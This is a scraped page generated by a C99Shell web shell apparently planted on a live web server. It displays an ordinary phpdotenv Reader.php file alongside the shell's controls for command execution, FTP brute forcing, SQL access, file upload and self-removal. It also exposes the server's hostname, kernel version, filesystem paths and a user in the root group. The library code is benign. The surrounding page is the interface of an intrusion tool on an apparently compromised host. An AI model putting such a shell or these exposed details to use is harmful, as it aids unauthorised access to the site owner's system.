!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/sms.picotech.app/public_html/vendor/vlucas/phpdotenv/src/Store/File/   drwxr-xr-x
Free 28.66 GB of 117.98 GB (24.29%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     Reader.php (2.05 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

declare(strict_types=1);

namespace 
Dotenv\Store\File;

use 
Dotenv\Exception\InvalidEncodingException;
use 
Dotenv\Util\Str;
use 
PhpOption\Option;

/**
 * @internal
 */
final class Reader
{
    
/**
     * This class is a singleton.
     *
     * @codeCoverageIgnore
     *
     * @return void
     */
    
private function __construct()
    {
        
//
    
}

    
/**
     * Read the file(s), and return their raw content.
     *
     * We provide the file path as the key, and its content as the value. If
     * short circuit mode is enabled, then the returned array with have length
     * at most one. File paths that couldn't be read are omitted entirely.
     *
     * @param string[]    $filePaths
     * @param bool        $shortCircuit
     * @param string|null $fileEncoding
     *
     * @throws \Dotenv\Exception\InvalidEncodingException
     *
     * @return array<string, string>
     */
    
public static function read(array $filePathsbool $shortCircuit true, ?string $fileEncoding null)
    {
        
$output = [];

        foreach (
$filePaths as $filePath) {
            
$content self::readFromFile($filePath$fileEncoding);
            if (
$content->isDefined()) {
                
$output[$filePath] = $content->get();
                if (
$shortCircuit) {
                    break;
                }
            }
        }

        return 
$output;
    }

    
/**
     * Read the given file.
     *
     * @param string      $path
     * @param string|null $encoding
     *
     * @throws \Dotenv\Exception\InvalidEncodingException
     *
     * @return \PhpOption\Option<string>
     */
    
private static function readFromFile(string $path, ?string $encoding null)
    {
        
/** @var Option<string> */
        
$content Option::fromValue(@\file_get_contents($path), false);

        return 
$content->flatMap(static function (string $content) use ($encoding) {
            return 
Str::utf8($content$encoding)->mapError(static function (string $error) {
                throw new 
InvalidEncodingException($error);
            })->
success();
        });
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0041 ]--